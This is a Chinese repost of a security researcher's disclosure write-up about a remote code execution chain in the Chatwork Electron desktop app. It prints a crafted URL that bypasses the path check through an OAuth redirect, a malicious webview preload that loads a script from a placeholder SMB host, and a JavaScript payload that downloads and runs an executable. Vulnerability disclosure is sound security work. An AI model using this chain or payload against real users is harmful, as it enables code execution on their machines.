大家好,我是 RyotaK(@ryotkak ),GMO Flatt Security Inc. 的安全工程师。
前段时间,我报告了 日本流行的通讯工具 Chatwork 中存在的一个远程代码执行漏洞,该漏洞会引发多个问题。
在我提交给漏洞赏金平台的报告中,我利用了 Electron 的一个过时的功能来升级到预加载上下文。
由于这个漏洞很有趣,所以我写了这篇文章来分享它的细节。
免责声明
Chatwork 的服务条款禁止对其服务进行逆向工程。
由于他们的漏洞赏金计划不再运行,他们要求研究人员暂时避免对其进行逆向工程。
如果您计划对他们的服务进行分析,请确保在对他们的服务执行任何操作之前,他们的漏洞赏金计划再次运行。
总结
Chatwork 存在三个问题:
-
危险方法暴露于预加载上下文
-
错误启用的旧功能允许访问预加载上下文
-
桌面版和 Web 版路由解析器的区别
通过结合这些问题,我在 Chatwork 桌面应用程序中实现了远程代码执行,当用户对攻击者提供的 URL 执行操作时即可触发该漏洞。
聊天室
Chatwork是日本流行的通讯工具,与Slack类似。
下载桌面应用程序后,我注意到该应用程序是用 Electron 构建的。由于从 Electron 应用程序中提取 JavaScript 文件很容易,因此我开始对其进行分析。
危险方法暴露于预加载上下文
提取文件后,我开始检查它,发现了以下有趣的代码:
})), electron_1.ipcMain.handle(ipcEvents_1.ipcEvents.skypeNewWindow, (function(e, n) { electron_1.shell.openExternal(n)}))
此代码shell.openExternal在调用时调用该方法,该方法用于在关联的应用程序中打开 URL。
正如Electron 的安全指南中所述 ,该shell.openExternal方法很危险,不应与不受信任的输入一起使用。它允许通过传递file://方案来执行任意代码。
由于此方法暴露在预加载上下文中,即使禁用了 Node.js API,在预加载上下文中执行任意 JavaScript 也会导致远程代码执行。因此,我开始调查是否可以在预加载上下文中执行任意 JavaScript。
错误启用的旧功能允许访问预加载上下文
为了找到在预加载上下文中执行任意 JavaScript 的方法,我决定找到BrowserWindow的实例 。
阅读完代码后,我发现了以下 BrowserWindow 实例:
var i = new electron_1.BrowserWindow({ [...] webPreferences: { partition: "persist:".concat(e), nodeIntegration: !1, webviewTag: !0 }, [...]});
此 BrowserWindow 实例是使用该nodeIntegration: false选项创建的,这意味着 Node.js API 被禁用,并且没有指定预加载脚本。
但是,如您所见,该webviewTag选项已启用。我记得该webview标签是一个已弃用的功能,并且 Electron 的安全指南提到应用程序必须<webview>在 DOM 上创建标签之前验证标签的选项。
https://www.electronjs.org/docs/latest/tutorial/security#12-verify-webview-options-before-creation
在未启用Node.js;集成的渲染器进程中创建的WebView;将无法自行启用集成。不过,WebView始终会创建一个具有自己的webPreferences的独立渲染器进程。
从主流程控制新标签的创建webview并验证其webPreferences不会禁用安全功能是一个好主意。
在未启用 Node.js 集成的渲染器进程中创建的 WebView 将无法自行启用集成。不过,WebView 始终会创建一个具有自己的 webPreferences 的独立渲染器进程。
看起来 Chatwork 应用程序<webview>在创建标签时不会验证标签的选项。
由于 Node.js 集成被禁用,此设置仍然不允许我们在主机上执行任意命令,但它仍然允许我们创建一个具有首选项控制的新渲染器进程。
在阅读该标签的文档后webview,我发现该webview标签有一个名为的属性preload。此属性允许webview标签在预加载上下文中加载脚本,这与我们的目标相符。
https://www.electronjs.org/docs/latest/api/webview-tag#preload
从主流程控制新标签的创建webview并验证其 webPreferences 不会禁用安全功能是一个好主意。
一个字符串,用于指定在访客页面中运行其他脚本之前加载的脚本。脚本URL的协议必须是file:(即使使用asar:archives),因为它将在后台由Node的require加载,后者将asar:archives视为虚拟目录。
虽然脚本 URL 仅限于file:协议,但它可用于从远程 SMB 共享加载脚本,就像在 Windows 上一样:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
桌面版和 Web 版路由解析器的区别
使用上述 HTML,我们可以在预加载上下文中执行任意 JavaScript,但我们仍然需要找到一种方法将恶意webview标签放置在易受攻击的中BrowserWindow。
我检查了这个漏洞BrowserWindow是如何产生的,发现了以下函数:
}, e.prototype.createNewWindow = function (e, t) { [...]var i = new electron_1.BrowserWindow({alwaysOnTop: !1,width: 800,height: 600,resizable: !0,x: this.windowInst.getPosition()[0] + this.newWindowX,y: this.windowInst.getPosition()[1] + this.newWindowY,webPreferences: {partition: "persist:".concat(e),nodeIntegration: !1,webviewTag: !0 },modal: !1,show: !1 }); [...]}
该createNewWindow函数在 window.open 处理程序中调用,如下所示:
void0 !== i && i.setWindowOpenHandler((function (e) { var r, o = new URL(i.getURL()).origin, t = e.url;if ("file-preview" === (r = (0, exports.getNewWindowType)(o, t))) electron_1.ipcMain.emit("create-newWindow", n, t, "");
如果函数create-newWindow的结果为 ,则此函数发出事件。getNewWindowTypefile-preview
该getNewWindowType函数检查 URL 是否以特定字符串开头,并返回窗口的类型。
getNewWindowType = function (e, n) {for (var i = 0, r = Object.entries({"/gateway/download_file.php": "file-preview","/live.php": "live","/live/": "live","/#!rid": "message-link","/g/": "internal-browser-window" }); i < r.length; i++) {var o = r[i], t = o[0], l = o[1];if (n.startsWith(e + t)) return l }return"other"};
所以,我们需要找到一种方法来webview在 下的路径中放置一个标签https://www.chatwork.com/gateway/download_file.php。
乍一看,这可能有点棘手,因为只download_file.php允许使用。我尝试执行路径遍历,例如访问其他端点,但由于传递给函数的 URL 已标准化,https://www.chatwork.com/gateway/download_file.php/../../因此没有成功。setWindowOpenHandler
然而,经过一些测试,我发现后端服务器解析请求路径与 Electron 不同。S
当后端服务器收到请求时,它会先解码 URL,然后将请求路由到适当的端点。
例如,以下 URL 在https://www.chatwork.com/gateway/download_file.php/../../后端服务器上被解码为,然后被规范化为https://www.chatwork.com/并相应地路由。
https://www.chatwork.com/gateway/download_file.php%2F..%2F..%2F
利用这个区别,我们可以在客户端通过前缀检查,但是后端服务器会将请求路由到另一个端点,从而让我们绕过需要放置标签的https://www.chatwork.com/gateway/download_file.php位置的限制。webview
综合所有问题
虽然我们现在可以使用下的任何路径https://www.chatwork.com/,但我们仍然需要找到一种方法将恶意webview标签放置在易受攻击的路径中BrowserWindow。
幸运的是,Chatwork 有一个 OAuth 功能,它允许我们注册自己的 OAuth 应用程序,并将redirect_uri指向外部主机。
当用户批准或拒绝 OAuth 授权时,Chatwork 会将用户重定向到redirect_uri。
利用此行为,我们可以将 Chatwork 桌面应用从 OAuth 授权页面重定向到恶意 URL。结合路由解析器差异,当用户批准或拒绝 OAuth 授权时,以下 URL 会将 Chatwork 桌面应用重定向到攻击者控制的 URL。
https://www.chatwork.com/gateway/download_file.php/..%2f..%2flogin.php?redirect=login&args=response_type%3Dcode%26redirect_uri%3DREDIRECT_URL%26client_id%3DCLIENT_ID%26state%3DSTATE%26scope%3DSCOPE%26code_challenge%3DCODE_CHALLENGE%26code_challenge_method%3DS256&package=../../packages/oauth2
然后,我们可以在重定向的 URL 中放入以下 HTML:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
然后从远程 SMB 服务器加载恶意脚本,该脚本将利用预加载上下文中暴露的危险方法,如下所示:
(async() => {const { ipcRenderer } = require("electron");await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); setTimeout(async () => {const username = process.execPath.match(/C:\Users\([^\]+)/);await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); }, 5000);})();
通过执行上述脚本,Chatwork桌面应用程序将下载恶意可执行文件并执行,从而导致远程代码执行。
结论
在本文中,我解释了如何通过链接多个问题在 Chatwork 桌面应用程序中实现远程代码执行。
原文始发于微信公众号(Ots安全):利用过时的 Electron 功能在日本著名聊天工具中实现 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论